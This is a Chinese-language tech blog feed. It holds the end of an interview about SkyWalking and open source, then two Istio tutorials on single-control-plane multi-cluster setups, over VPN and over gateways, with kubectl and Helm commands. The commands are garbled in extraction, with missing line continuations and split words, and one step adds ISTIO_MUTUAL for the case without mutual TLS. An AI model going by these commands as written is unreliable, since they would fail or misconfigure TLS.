                  今天,我们的项目几乎覆盖了国内的所有大厂,以阿里云为首的各大共有云、私有云厂商,也都提供了相应的服务。项目被集成到大量的商业产品,甚至招标书中,已经成为事实标准。大量的基础社区反馈、国外社区的模型和理论共享、用户压力测试回馈,才造就了SkyWalking现在的设计和性能。所以可以说,没有开源社区这个有机整体的强大助力,就不会有今天 SkyWalking 的核心和高性能。

                  追逐开源有利可图

                  首先,开源不应该被神化。熟悉我的人,都知道我喜欢用『各怀鬼胎』来形容开源社区。很多人喜欢将开源定义为情怀,其实我很反对这样的想法。开源,可以是一个爱好,可以是一种技术追求,可以是一项工作,也可以是一种合作模式,可以是一个学习平台,更可以是一种盈利手段。无论企业还是个人,对开源的追逐都可以带来利益。

                  倘若公司内员工对知名开源项目有优秀贡献,会对公司自身的市场营销和技术品牌形成明显的正向反馈。而开源爱好者平等包容的开放心态,无论面对客户需求还是跨实体合作,都更具竞争力。开源公司自身的招聘吸引力、产品化能力优势亦然。对于个人来说,拥有开源项目经历,对个人能力和职业素养都有显著提升。2018年的开源职业报告显示,87%的雇主希望招聘到具备开源能力的员工,而55%的开源业内人士表示他们可以轻松地找到一份新工作。

                  请不要把道德高尚和开源扯上关系,他们没有什么必然的联系。如果你喜欢技术、勇于挑战,那么开源社区这个公开、开放而又竞争惨烈的地方,是一个好的选择。闭源或开源之间没有对与错,商业开源和KPI开源之间没有好与坏,大家都是各取所需、共同发展。至少,全球的开源风极大地提高了中国的软件水平。

                  吴晟的碎片化时间很多都用来思考和讨论方案,自由的工作时间背后是无限强大的自律心,支撑这位浪迹天涯的阿里云 MVP,更加笃定和从容。

                  TB1HLKARVXXXXcKXpXXXXXXXXXX-586-338.jpg
                  我要成为阿里云 MVP

                  ]]>
                  如何使用 Istio 进行多集群部署管理(1): 单控制平面 VPN 连接拓扑 Fri, 02 May 2025 09:39:04 +0800 服务网格作为一个改善服务到服务通信的专用基础设施层,是云原生范畴中最热门的话题。随着容器愈加流行,服务拓扑也频繁变动,这就需要更好的网络性能。服务网格能够通过服务发现、路由、负载均衡、心跳检测和支持可观测性,帮助我们管理网络流量。服务网格试图为无规则的复杂的容器问题提供规范化的解决方案。

                  服务网格也可以用于混沌工程 —— “一门在分布式系统上进行实验的学科,目的是构建能够应对极端条件的可靠系统”。服务网格能够将延迟和错误注入到环境中,而不需要在每个主机上安装一个守护进程。

                  容器是云原生应用的基石,通过应用容器化,使得应用开发部署更加敏捷、迁移更加灵活,并且这些实现都是基于标准化的。而容器编排则是更近一步,能够更加有效地编排资源、更加高效地调度利用这些资源。而到了云原生时代,在 Kubernetes 基础架构之上,结合 Istio 服务网格,提供了多云、混合云的支持能力,针对微服务提供了有效的治理能力,并以 Kubernetes 和 Istio 为基础,提供了针对特定应用负载的不同支持,例如针对 Kubeflow 服务的流量治理、为 Knative 提供负载的路由管理能力等。

                  尽管 Service Mesh 在云原生系统方面的应用已经有了快速的增长,但仍然存在巨大的提升空间。无服务器(Serverless)计算正好需要 Service Mesh 的命名和链接模型,这让 Service Mesh 在云原生生态系统中的角色得到了彰显。服务识别和访问策略在云原生环境中仍显初级,而 Service Mesh 毫无疑问将成为这方面不可或缺的基础。就像 TCP/IP 一样,Service Mesh 将在底层基础设施这条道路上更进一步。

                  混合云可以采用多种形式。通常,混合云指的是跨公有云和私有(内部部署)云运行,而多云意味着跨多个公有云平台运行。

                  采用混合云或多云架构可以为你的组织带来诸多好处。例如,使用多个云提供商可以帮助你避免供应商锁定,能够让你为实现目标选择最佳的云服务。使用云和本地环境,你可以同时享受云的优势(灵活性、可扩展性、成本降低)和本地的好处(安全性、低延迟、硬件复用)。如果你是首次迁移到云端,采用混合云步骤可以让你按照自己的节奏,以最适合你业务的方式进行。

                  根据我们在公有云上的实践经验及从客户那里得到的信息,我们认为采用混合服务网络是简化云和本地环境中应用程序管理、安全性和可靠性的关键,无论你的应用程序是在容器中运行,或是在虚拟机中运行。

                  Istio 的一个关键特性是它为你的工作负载(例如 pod、job、基于 VM 的应用程序)提供服务抽象。当你转向混合拓扑时,这种服务抽象变得更加重要,因为现在你不只需要关注一个环境,而是需要关注若干个环境。

                  当你在一个 Kubernetes 集群上使用 Istio 时,可以获得包括可见性、细粒度流量策略、统一遥测和安全性在内的微服务的所有管理优势。但是当你在多个环境中使用 Istio 时,实际上是为应用程序提供了一个新的超级能力。因为 Istio 不仅仅是 Kubernetes 的服务抽象,也是一种在整个环境中标准化网络的方法。它是一种集中 API 管理并将 JWT 验证与代码分离的方法。它是跨云提供商的安全、零信任网络的快速通道。

                  那么所有这些魔法是如何发生的呢?混合 Istio 是指一组 Istio Sidecar 代理,每一个 Envoy 代理位于所有服务的旁边,而这些服务可能运行在不同环境中的每一个虚拟机、每一个容器中,而且这些 Sidecar 代理之前互相知道如何跨边界交互。这些 Envoy Sidecar 代理可能由一个中央 Istio 控制平面管理,或由每个环境中运行的多个控制平面管理。

                  多集群部署管理

                  服务网格本质上是将一组单独的微服务组合成单个可控的复合应用程序,Istio 作为一种服务网格,也是旨在单一管理域下监视和管理协作微服务网络。对于特定大小的应用程序,所有微服务是可以在单个编排平台如一个 Kubernetes 集群上运行的。然而,由于规模不断增大或者冗余等原因,大多数应用程序最终将需要分发一些服务在其他地方运行。

                  社区越来越关注在多个集群上运行工作负载,以实现更好的扩展,故障可以更好地隔离,从而提升应用程序的敏捷性。Istio v1.0 开始支持一些多集群功能,并在之后的版本中添加了新功能。

                  Istio 服务网格支持许多可能的拓扑结构,用于在单个集群之外分发应用程序的服务,有两种常见的模式或用例:单网格和网格联合。顾名思义,单个网格将多个集群组合成一个单元,由一个 Istio 控制平面管理;它可以实现为一个物理控制平面,也可以实现为一组控制平面,同时所有控制平面都能通过复制配置保持同步。而网格联合则会将多个集群分离作为单独的管理域,有选择地完成集群之间的连接,仅将服务的子集暴露给其他集群;自然它的实现会包含多个控制平面。

                  具体来说,这些不同的拓扑结构包括以下几个方面:

                  • 网格中的服务可以使用服务条目(Service Entry)来访问独立的外部服务或访问由另一个松散耦合的服务网格公开的服务,通常称为网格联邦(Mesh Federation)。这种拓扑适合于互相独立并且网络隔离、只能通过公网交互的多集群的场景;
                  • 支持在虚拟机或物理裸机上运行的服务进行服务网格扩展,通常称为网格联合(Mesh Expansion)。在前面章节中,我们已经讲述了这种 Kubernetes 集群与虚拟机、物理裸机之间混合部署的场景;
                  • 把来自多个集群的服务组合到单个服务网格中,通常称为多集群网格(Multicluster Mesh)。根据网络拓扑结构的不同,多集群网格通常分为单控制平面 VPN 连接、单控制平面网关连接以及多控制平面拓扑。

                  单控制平面 VPN 连接拓扑

                  作为基准,在 Istio 的 1.1 版本之前,Istio 1.0 多集群仅支持使用单网格设计。它允许多个集群连接到网格中,但所有集群都在一个共享网络上。也就是说,所有集群中所有 pod 和服务的 IP 地址都是可直接路由的,不会发生冲突,同时保证在一个集群中分配的IP地址不会在另一个集群中同时重用。

                  在这种拓扑配置下,在其中一个集群上运行单个 Istio 控制平面。该控制平面的 Pilot 管理本地和远程集群上的服务,并为所有集群配置 Envoy 代理。这种方法在所有参与集群都具有 VPN 连接的环境中效果最佳,因此可以使用相同的 IP 地址从其他任何地方访问网格中的每个 pod。

                  在此配置中,Istio 控制平面部署在其中一个集群上,而所有其他集群运行更简单的远程 Istio 配置,该配置将它们连接到单个 Istio 控制平面,该平面将所有 Envoy 管理为单个网格。各个集群上的 IP 地址不允许重叠,并且远程集群上的服务的 DNS 解析不是自动的。用户需要在每个参与集群上复制服务,这样每个集群中的 Kubernetes 集群服务和应用程序都能够将其内部 Kubernetes 网络暴露给其他集群。一旦一个或多个远程 Kubernetes 集群连接到 Istio 控制平面,Envoy 就可以与单个控制平面通信并形成跨多个集群的网状网络。

                  前提约束

                  事实上,我们已经了解到网格、集群和网络之间的存在各种约束,例如,在某些环境中,网络和集群直接相关。Istio单网格设计下的单控制平面VPN连接拓扑需要满足以下几个条件:

                  • 运行 Kubernetes 1.9 或更高版本的两个或更多集群;
                  • 能够在其中一个集群上部署 Istio 控制平面;
                  • RFC1918 网络、VPN 或满足以下要求的更高级网络技术:

                    • 单个集群 pod CIDR 范围和服务 CIDR 范围在多集群环境中必须是唯一的,并且应当不重叠;
                    • 每个集群中的所有 pod CIDR 必须可以相互路由
                    • 所有 Kubernetes 控制平面 API 服务器必须可以相互路由。

                  此外,为了跨集群支持 DNS 名称解析,必须确保在所有需要跨集群服务调用的集群中定义对应的命名空间、服务和服务账户;例如,集群 cluster1 中命名空间 ns1 的服务 service1 需要调用集群 cluster2 中命名空间 ns2 的服务 service2,那么在集群 cluster1 中为了支持服务名的 DNS 解析,需要在集群 cluster1 中创建一个命名空间 ns2 以及该命名空间下的服务 service2。

                  以下示例中的两个 Kubernetes 集群的网络假定已经满足上述要求,每个集群中的 pod 都能够互相路由,也就是说网络可通并且端口是可访问的(如果采用的是类似于阿里云的公有云服务,请确保这些端口在安全组规则下是可以访问的;否则服务间的调用会受到影响)。

                  两个 Kubernetes 集群的 pod CIDR 范围和服务 CIDR 范围定义如下表所示:

                  image.png

                  拓扑架构

                  image.png
                  从图中可以看到整个多集群拓扑中只会在一个 Kubernetes 集群上安装 Istio 控制平面。这个安装 Istio 控制平面的集群通常被称为本地集群,所有其它集群称为远程集群。

                  这些远程集群只需要安装 Istio 的 Citadel 和 Sidecar Injector 准入控制器,具有较小的 Istio 占用空间,Citadel 用于这些远程集群的安全管理,Sidecar Injector 准入控制器用于控制平面中的自动注入和数据平面中工作负载的 Sidecar 代理功能。

                  在这个架构中,Pilot 可以访问所有集群中的所有 Kubernetes API 服务器,因此它具有全局网络访问视图。Citadel 和 Sidecar Injector 准入控制器则只会在集群本地范围内运行。每个集群都有唯一的 pod 和服务 CIDR,除此之外,集群之间还有一个共享的扁平网络,以保证能直接路由到任何工作负载,包括到 Istio 的控制平面。例如,远程集群上的 Envoy 代理需要从 Pilot 获得配置,检查并报告给 Mixer 等。

                  启用双向 TLS 通信

                  如果在多个集群中启用跨集群的双向 TLS 通信,就需要按照如下方式在各个集群中进行部署配置。首先,从共享的根 CA 为每个集群的 Citadel 生成中间 CA 证书,共享的根 CA 启用跨不同集群的双向 TLS 通信。为了便于说明,我们将 samples/certs 目录下 Istio 安装中提供的示例根 CA 证书用于两个集群。在实际部署中,你可能会为每个集群使用不同的 CA 证书,所有 CA 证书都由公共根 CA 签名。

                  在每个 Kubernetes 集群中(包括示例中的集群 cluster1 与 cluster2)创建密钥。使用以下的命令为生成的 CA 证书创建 Kubernetes 密钥:

                  kubectl create namespace istio-system
                  kubectl create secret generic cacerts -n istio-system 
                    --from-file=samples/certs/ca-cert.pem 
                    --from-file=samples/certs/ca-key.pem 
                    --from-file=samples/certs/root-cert.pem 
                    --from-file=samples/certs/cert-chain.pem

                  当然,如果你的环境只是开发测试或者不需要启用双向 TLS 通信,上述步骤完全可以跳过。

                  部署本地控制平面

                  在所谓的本地集群上安装一个 Istio 控制平面的过程,与在单集群上安装 Istio 并没有太多差别,需要注意的一点是如何配置 Envoy 代理用于管理直接访问某个 IP 范围内的外部服务的参数。如果是使用 Helm 安装 Istio,那么在 Helm 中有一个名为 global.proxy.includeIPRanges 的变量,确保该变量为“*”或者包括本地集群、所有远程集群的 pod CIDR 范围和服务 CIDR。

                  可以通过查看命名空间 istio-system 下的配置项 istio-sidecar-injector 中的 traffic.sidecar.istio.io/includeOutboundIPRanges 来确认 global.proxy.includeIPRanges 参数设置,如下所示:

                  kubectl get configmap istio-sidecar-injector -n istio-system -o yaml| grep includeOutboundIPRanges

                  在部署 Istio 控制平面组件的集群 cluster1 中,按照以下步骤执行。

                  如果启用了双向 TLS 通信,则需要如下配置参数:

                  helm template --namespace=istio-system 
                    --values
                  install/kubernetes/helm/istio/values.yaml 
                    --set global.mtls.enabled=true 
                    --set security.selfSigned=false 
                    --set global.controlPlaneSecurityEnabled=true
                  
                    install/kubernetes/helm/istio > istio-auth.yaml
                  kubectl
                  apply -f istio-auth.yaml

                  如果不需要启用双向 TLS 通信,配置参数则需要做出如下修改:

                  helm template --namespace=istio-system 
                    --values
                  install/kubernetes/helm/istio/values.yaml 
                    --set global.mtls.enabled=false 
                    --set security.selfSigned=true 
                    --set global.controlPlaneSecurityEnabled=false
                  
                    install/kubernetes/helm/istio >
                  istio-noauth.yaml
                  kubectl
                  apply -f istio-noauth.yaml

                  修改 Istio 服务 istio-pilot、istio-telemetry、istio-policy 及 zipkin 的类型为内网负载均衡,将这些服务以内网方式暴露给远程集群使用。不同的云厂商实现机制不尽相同,但大都是通过修改 annotation 的方式实现。针对阿里云容器服务来说,设置为内网负载均衡的方式非常简单,只需要添加如下 annotation 到服务的 YAML 定义中即可:
                  service.beta.kubernetes.io/alicloud-loadbalancer-address-type: intranet。

                  此外,需要按照图中的端口定义为每一个服务进行设置。
                  image.png

                  istio-pilot 服务端口如表 1 所示。

                  image.png

                  istio-telemetry 服务端口如表 2 所示

                  image.png

                  istio-policy 服务端口如表 3 所示。

                  image.png

                  zipkin 服务端口如表 4 所示。

                  image.png

                  安装 istio-remote

                  在本地集群中安装完控制平面之后,必须将 istio-remote 组件部署到每个远程 Kubernetes 集群。等待 Istio 控制平面完成初始化,然后再执行本节中的步骤。你必须在 Istio 控制平面集群上运行这些操作以捕获 Istio 控制平面服务端点,例如上述提到的 Istio 服务 istio-pilot、istio-telemetry、istio-policy 以及 zipkin。

                  在远程集群 cluster2 中部署 Istio-remote 组件,按照以下步骤执行:

                  1.在本地集群上使用以下命令设置环境变量:

                  export
                  PILOT_IP=$(kubectl -n istio-system get service istio-pilot -o
                  jsonpath='{.status.loadBalancer.ingress[0].ip}')
                  export
                  POLICY_IP=$(kubectl -n istio-system get service istio-policy -o
                  jsonpath='{.status.loadBalancer.ingress[0].ip}')
                  export
                  TELEMETRY_IP=$(kubectl -n istio-system get service istio-telemetry -o
                  jsonpath='{.status.loadBalancer.ingress[0].ip}')
                  export
                  ZIPKIN_IP=$(kubectl -n istio-system get service zipkin -o
                  jsonpath='{.status.loadBalancer.ingress[0].ip}')
                  echo
                  $PILOT_IP $POLICY_IP $TELEMETRY_IP $ZIPKIN_IP

                  2.如果在多个集群中启用跨集群的双向 TLS 通信,就需要在集群中进行部署配置。

                  当然,如果你的环境只是开发测试或者不需要启用双向 TLS 通信的话,该步骤完全可以跳过。在远程 Kubernetes 集群 cluster2 上运行以下命令,在集群中为生成的 CA 证书创建 Kubernetes 密钥:

                  kubectl
                  create namespace istio-system
                  kubectl
                  create secret generic cacerts -n istio-system 
                      --from-file=samples/certs/ca-cert.pem 
                      --from-file=samples/certs/ca-key.pem 
                      --from-file=samples/certs/root-cert.pem 
                  --from-file=samples/certs/cert-chain.pem

                  3.在远程 Kubernetes 集群 cluster2 上,通过执行以下命令,使用 Helm 创建 Istio remote 部署 YAML 文件。

                  如果启用了双向 TLS 通信,则需要如下配置参数:

                  helm
                  template install/kubernetes/helm/istio 
                    --name istio-remote 
                    --namespace istio-system 
                    --values install/kubernetes/helm/istio/values-istio-remote.yaml
                  
                    --set global.mtls.enabled=true 
                    --set security.selfSigned=false 
                    --set global.controlPlaneSecurityEnabled=true
                  
                    --set
                  global.remotePilotCreateSvcEndpoint=true 
                    --set global.remotePilotAddress=${PILOT_IP} 
                    --set global.remotePolicyAddress=${POLICY_IP}
                  
                    --set
                  global.remoteTelemetryAddress=${TELEMETRY_IP}
                    --set global.remoteZipkinAddress=${ZIPKIN_IP}
                  > istio-remote-auth.yaml

                  然后将 Istio remote 组件部署到 cluster2,如下所示:

                  kubectl apply -f ./istio-remote-auth.yaml

                  如果不需要启用双向 TLS 通信,配置参数则需要做出如下修改:

                  helm
                  template install/kubernetes/helm/istio 
                    --name istio-remote 
                    --namespace istio-system 
                    --values
                  install/kubernetes/helm/istio/values-istio-remote.yaml 
                    --set global.mtls.enabled=false 
                    --set security.selfSigned=true 
                    --set
                  global.controlPlaneSecurityEnabled=false 
                    --set
                  global.remotePilotCreateSvcEndpoint=true 
                    --set global.remotePilotAddress=${PILOT_IP} 
                    --set global.remotePolicyAddress=${POLICY_IP}
                  
                    --set global.remoteTelemetryAddress=${TELEMETRY_IP}
                    --set global.remoteZipkinAddress=${ZIPKIN_IP}
                  > istio-remote-noauth.yaml

                  然后将 Istio remote 组件部署到 cluster2,如下所示:

                  kubectl
                  apply -f ./istio-remote-noauth.yaml

                  确保上述步骤在 Kubernetes 集群中执行成功。

                  4.创建集群 cluster2 的 Kubeconfig。

                  安装 Istio-remote Helm chart 后,在远程集群中创建了一个叫 istio-multi 的 Kubernetes 服务帐号,该服务帐号用于最小化 RBAC 访问请求,对应的集群角色定义如下:

                  kind:
                  ClusterRole
                  apiVersion:
                  rbac.authorization.k8s.io/v1
                  metadata:
                    name: istio-reader
                  rules:
                    - apiGroups: ['']
                      resources: ['nodes', 'pods', 'services',
                  'endpoints']
                      verbs: ['get', 'watch', 'list']

                  下面的过程通过使用先前所述的 istio-multi 服务帐号凭证生成一个远程集群的 kubeconfig 配置文件。通过以下命令,在集群 cluster2 上创建服务帐号 istio-multi 的 Kubeconfig,并保存为文件 n2-k8s-config:

                  CLUSTER_NAME="cluster2"
                  SERVER=$(kubectl
                  config view --minify=true -o "jsonpath={.clusters[].cluster.server}")
                  SECRET_NAME=$(kubectl
                  get sa istio-multi -n istio-system -o jsonpath='{.secrets[].name}')
                  CA_DATA=$(kubectl
                  get secret ${SECRET_NAME} -n istio-system -o
                  "jsonpath={.data['ca.crt']}")
                  TOKEN=$(kubectl
                  get secret ${SECRET_NAME} -n istio-system -o
                  "jsonpath={.data['token']}" | base64 --decode)
                  cat
                  <<EOF > n2-k8s-config
                  apiVersion:
                  v1
                  kind:
                  Config
                  clusters:
                    - cluster:
                        certificate-authority-data: ${CA_DATA}
                        server: ${SERVER}
                      name: ${CLUSTER_NAME}
                  contexts:
                    - context:
                        cluster: ${CLUSTER_NAME}
                        user: ${CLUSTER_NAME}
                      name: ${CLUSTER_NAME}
                  current-context:
                  ${CLUSTER_NAME}
                  users:
                    - name: ${CLUSTER_NAME}
                      user:
                        token: ${TOKEN}
                  EOF

                  5.将集群 cluster2 加入 Istio Pilot 所在集群中。

                  在集群 dusterl 执行以下命令,将上述生成的集群 cluster2 的 kubeconfig 添加到集群 cluster1 的 secret 中。执行这些命令后,集群 cluster1 中的 Istio Pilot 将开始监听集群 cluster2 的服务和实例,就像监听集群 cluster1 中的服务与实例一样:

                  kubectl
                  create secret generic n2-k8s-secret --from-file n2-k8s-config -n istio-system
                  kubectl
                  label secret n2-k8s-secret istio/multiCluster=true -n istio-system

                  部署示例应用

                  为了演示跨集群访问,在第一个 Kubernetes 集群 cluster1 中部署 sleep 应用服务和版本 v1 的 helloworld 服务,在第二个集群 cluster2 中部署版本 v2 的 helloworld 服务,然后验证 sleep 应用是否可以调用本地或者远程集群的 helloworld 服务。

                  1.部署 sleep 和版本 v1 的 helloworld 服务到第一个集群 cluster1 中,执行如下命令:

                  kubectl
                  create namespace app1
                  kubectl
                  label namespace app1 istio-injection=enabled
                  kubectl
                  apply -n app1 -f multicluster/sleep/sleep.yaml
                  kubectl
                  apply -n app1 -f multicluster/helloworld/service.yaml
                  kubectl
                  apply -n app1 -f multicluster/helloworld/helloworld.yaml -l version=v1
                  export
                  SLEEP_POD=$(kubectl get -n app1 pod -l app=sleep -o
                  jsonpath={.items..metadata.name})
                  1. 部署版本 v2 的 helloworld 服务到第二个集群 cluster2 中,执行如下命令:
                  kubectl
                  create namespace app1
                  kubectl
                  label namespace app1 istio-injection=enabled
                  kubectl
                  apply -n app1 -f multicluster/helloworld/service.yaml
                  kubectl
                  apply -n app1 -f multicluster/helloworld/helloworld.yaml -l version=v2
                  1. 验证在集群 cluster1 中的 sleep 服务是否可以正常调用本地或者远程集群的 helloworld 服务,在集群 cluster1 下执行如下命令:
                  kubectl
                  exec $SLEEP_POD -n app1 -c sleep -- curl helloworld.app1:5000/hello

                  如果设置正确,则在返回的调用结果中可以看到两个版本的 helloworld 服务,同时可以通过查看 sleep 容器组中的 istio-proxy 容器日志来验证访问的端点 IP 地址,返回结果如下所示:

                  image.png

                  1. 验证 Istio 路由规则是否生效。
                    创建针对上述两个版本的 helloworld 服务的路由规则,以便验证 Istio 配置是否可以正常工作。

                  创建 Istio 虚拟服务 VirtualService,执行如下命令:

                  kubectl
                  apply -n app1 -f multicluster/helloworld/virtualservice.yaml

                  接着,创建 Istio 目标规则 DestinationRule:

                  • 如果启用了双向 TLS 通信,则需要如下配置参数:
                  kubectl
                  apply -n app1 -f multicluster/helloworld/destinationrule.yaml
                  • 如果不需要启用双向 TLS 通信,配置参数则需要做出修改,在 YAML 定义中添加trafficPolicy.tls.mode:ISTIO_MUTUAL,定义如下所示:
                  apiVersion:
                  networking.istio.io/v1alpha3
                  kind:
                  DestinationRule
                  metadata:
                    name: helloworld
                  spec:
                    host: helloworld
                    **trafficPolicy:
                    tls:
                      mode: ISTIO_MUTUAL**
                    subsets:
                    - name: v1
                    labels:
                      version: v1
                    - name: v2
                    labels:
                      version: v2

                  通过执行命令 kubectl apply 创建启用双向 TLS 的 Istio 目标规则,如下所示:

                  kubectl
                  apply -n app1 -f multicluster/helloworld/destinationrule-auth.yaml

                  多次调用 helloworld 服务,只会返回版本 v2 的响应结果,如下所示:

                  image.png

                  ]]>
                  如何使用 Istio 进行多集群部署管理(2): 单控制平面 Gateway 连接拓扑 Fri, 02 May 2025 09:39:04 +0800 单控制平面拓扑下,多个 Kubernetes 集群共同使用在其中一个集群上运行的单个 Istio 控制平面。控制平面的 Pilot 管理本地和远程集群上的服务,并为所有集群配置 Envoy Sidecar 代理。

                  集群感知的服务路由

                  Istio 1.1 中引入了集群感知的服务路由能力,在单一控制平面拓扑配置下,使用 Istio 的 Split-horizon EDS(水平分割端点发现服务)功能可以通过其入口网关将服务请求路由到其他集群。基于请求源的位置,Istio 能够将请求路由到不同的端点。

                  在该配置中,从一个集群中的 Sidecar 代理到同一集群中的服务的请求仍然被转发到本地服务 IP。如果目标工作负载在其他集群中运行,则使用远程集群的网关 IP 来连接到该服务。

                  image.png

                  如图所示,主集群 cluster1 运行全套的 Istio 控制平面组件,同时集群 cluster2 仅运行 Istio Citadel、Sidecar Injector 和 Ingress 网关。不需要 VPN 连接,不同集群中的工作负载之间也不需要直接网络访问。

                  从共享的根 CA 为每个集群的 Citadel 生成中间 CA 证书,共享的根 CA 启用跨不同集群的双向 TLS 通信。为了便于说明,我们将 samples/certs 目录下 Istio 安装中提供的示例根 CA 证书用于两个集群。在实际部署中,你可能会为每个集群使用不同的 CA 证书,所有 CA 证书都由公共根 CA 签名。

                  在每个 Kubernetes 集群中(包括示例中的集群 cluster1 与 cluster2)使用以下命令为生成的 CA 证书创建 Kubernetes 密钥:

                  kubectl create namespace istio-system
                  kubectl create secret generic cacerts -n istio-system 
                    --from-file=samples/certs/ca-cert.pem 
                    --from-file=samples/certs/ca-key.pem 
                    --from-file=samples/certs/root-cert.pem 
                    --from-file=samples/certs/cert-chain.pem

                  Istio 控制平面组件

                  在部署全套 Istio 控制平面组件的集群 cluster1 中,按照以下步骤执行:

                  1.安装 Istio 的 CRD 并等待几秒钟,以便将它们提交给 Kubernetes API 服务器,如下所示:

                  for
                  i in install/kubernetes/helm/istio-init/files/crd*yaml; do kubectl apply -f $i;
                  done

                  2.然后开始在集群 cluster1 中部署 Istio 控制平面。

                  如果 helm 依赖项缺失或者不是最新的,可以通过 helm dep update 来更新这些依赖项。需要注意的是,因为没有使用 istio-cni,可以暂时将其从依赖项 requirements.yaml 中去掉再执行更新操作。具体命令如下所示:

                  helm
                  template --name=istio --namespace=istio-system 
                  --set
                  global.mtls.enabled=true 
                  --set
                  security.selfSigned=false 
                  --set
                  global.controlPlaneSecurityEnabled=true 
                  --set
                  global.meshExpansion.enabled=true 
                  --set
                  global.meshNetworks.network2.endpoints[0].fromRegistry=n2-k8s-config 
                  --set
                  global.meshNetworks.network2.gateways[0].address=0.0.0.0 
                  --set
                  global.meshNetworks.network2.gateways[0].port=15443 
                  install/kubernetes/helm/istio
                  > ./istio-auth.yaml

                  请注意,网关地址设置为 0.0.0.0。这是一个临时占位符值,在集群 cluster2 部署之后将更新为其网关的公共 IP 值。

                  将 Istio 部署到 cluster1,如下所示:

                  kubectl apply -f ./istio-auth.yaml

                  确保上述步骤在 Kubernetes 集群中执行成功。

                  1. 创建网关以访问远程服务,如下所示:
                  kubectl
                  create -f - <<EOF
                  apiVersion:
                  networking.istio.io/v1alpha3
                  kind:
                  Gateway
                  metadata:
                    name: cluster-aware-gateway
                    namespace: istio-system
                  spec:
                    selector:
                      istio: ingressgateway
                    servers:
                    - port:
                        number: 15443
                        name: tls
                        protocol: TLS
                      tls:
                        mode: AUTO_PASSTHROUGH
                      hosts:
                      - "*"
                  EOF

                  上述网关配置了一个专用端口 15443 用来将传入流量传递到请求的 SNI 标头中指定的目标服务,从源服务到目标服务一直使用双向 TLS 连接。

                  请注意虽然该网关定义应用于集群 cluster1,但因为两个集群都与同一个 Pilot 进行通信,此网关实例同样也适用于集群 cluster2。

                  istio-remote 组件

                  在另一集群 cluster2 中部署 istio-remote 组件,按照以下步骤执行:

                  1.首先获取集群 cluster1 的入口网关地址,如下所示:

                  export LOCAL_GW_ADDR=$(kubectl get svc --selector=app=istio-ingressgateway 
                    -n istio-system -o
                  jsonpath="{.items[0].status.loadBalancer.ingress[0].ip}")

                  通过执行以下命令,使用 Helm 创建 Istio remote 部署 YAML 文件:

                  helm
                  template --name istio-remote --namespace=istio-system 
                  --values
                  install/kubernetes/helm/istio/values-istio-remote.yaml 
                  --set
                  global.mtls.enabled=true 
                  --set
                  gateways.enabled=true 
                  --set
                  security.selfSigned=false 
                  --set
                  global.controlPlaneSecurityEnabled=true 
                  --set
                  global.createRemoteSvcEndpoints=true 
                  --set
                  global.remotePilotCreateSvcEndpoint=true 
                  --set
                  global.remotePilotAddress=${LOCAL_GW_ADDR} 
                  --set
                  global.remotePolicyAddress=${LOCAL_GW_ADDR} 
                  --set
                  global.remoteTelemetryAddress=${LOCAL_GW_ADDR} 
                  --set
                  gateways.istio-ingressgateway.env.ISTIO_META_NETWORK="network2" 
                  --set
                  global.network="network2" 
                  install/kubernetes/helm/istio
                  > istio-remote-auth.yaml

                  2.将 Istio remote 组件部署到 cluster2,如下所示:

                  kubectl apply -f ./istio-remote-auth.yaml

                  确保上述步骤在 Kubernetes 集群中执行成功。

                  3.更新集群 cluster1 的配置项 istio,获取集群 cluster2 的入口网关地址,如下所示:

                  export
                  REMOTE_GW_ADDR=$(kubectl get --context=$CTX_REMOTE svc --selector=app=
                  istio-ingressgateway
                  -n istio-system -o jsonpath="{.items[0].status.loadBalancer.ingress
                  [0].ip}")

                  在集群 cluster1 中编辑命名空间 istio-system 下的配置项 istio,替换 network2 的网关地址,从 0.0.0.0 变成集群 cluster2 的入口网关地址 ${REMOTE_GW_ADDR}。保存后,Pilot 将自动读取更新的网络配置。

                  4.创建集群 cluster2 的 Kubeconfig。通过以下命令,在集群 cluster2 上创建服务账号 istio-multi 的 Kubeconfig,并保存为文件 n2-k8s-config:

                  CLUSTER_NAME="cluster2"
                  SERVER=$(kubectl
                  config view --minify=true -o "jsonpath={.clusters[].cluster.server}")
                  SECRET_NAME=$(kubectl
                  get sa istio-multi -n istio-system -o jsonpath='{.secrets[].name}')
                  CA_DATA=$(kubectl
                  get secret ${SECRET_NAME} -n istio-system -o
                  "jsonpath={.data['ca.crt']}")
                  TOKEN=$(kubectl
                  get secret ${SECRET_NAME} -n istio-system -o
                  "jsonpath={.data['token']}" | base64 --decode)
                  cat
                  <<EOF > n2-k8s-config
                  apiVersion:
                  v1
                  kind:
                  Config
                  clusters:
                    - cluster:
                        certificate-authority-data: ${CA_DATA}
                        server: ${SERVER}
                      name: ${CLUSTER_NAME}
                  contexts:
                    - context:
                        cluster: ${CLUSTER_NAME}
                        user: ${CLUSTER_NAME}
                      name: ${CLUSTER_NAME}
                  current-context:
                  ${CLUSTER_NAME}
                  users:
                    - name: ${CLUSTER_NAME}
                      user:
                        token: ${TOKEN}
                  EOF

                  5.将集群 cluster2 加入到 Istio 控制平面。

                  在集群 clusterl 执行以下命令,将上述生成的集群 cluster2 的 kubeconfig 添加到集群 cluster1 的 secret 中,执行这些命令后,集群 cluster1 中的 Istio Pilot 将开始监听集群 cluster2 的服务和实例,就像监听集群 cluster1 中的服务与实例一样:

                  kubectl create secret generic n2-k8s-secret --from-file n2-k8s-config -n istio-system
                  kubectl label secret n2-k8s-secret istio/multiCluster=true -n istio-system

                  部署示例应用

                  为了演示跨集群访问,在第一个 Kubernetes 集群 cluster1 中部署 sleep 应用服务和版本 v1 的 helloworld 服务,在第二个集群 cluster2 中部署版本 v2 的 helloworld 服务,然后验证 sleep 应用是否可以调用本地或者远程集群的 helloworld 服务。

                  1.部署 sleep 和版本 v1 的 helloworld 服务到第一个集群 cluster1 中,执行如下命令:

                  kubectl
                  create namespace app1
                  kubectl
                  label namespace app1 istio-injection=enabled
                  kubectl
                  apply -n app1 -f samples/sleep/sleep.yaml
                  kubectl
                  apply -n app1 -f samples/helloworld/service.yaml
                  kubectl
                  apply -n app1 -f samples/helloworld/helloworld.yaml -l version=v1
                  export
                  SLEEP_POD=$(kubectl get -n app1 pod -l app=sleep -o
                  jsonpath={.items..metadata.name})

                  2.部署版本 v2 的 helloworld 服务到第二个集群 cluster2 中,执行如下命令:

                  kubectl
                  create namespace app1
                  kubectl
                  label namespace app1 istio-injection=enabled
                  kubectl
                  apply -n app1 -f samples/helloworld/service.yaml
                  kubectl
                  apply -n app1 -f samples/helloworld/helloworld.yaml -l version=v2

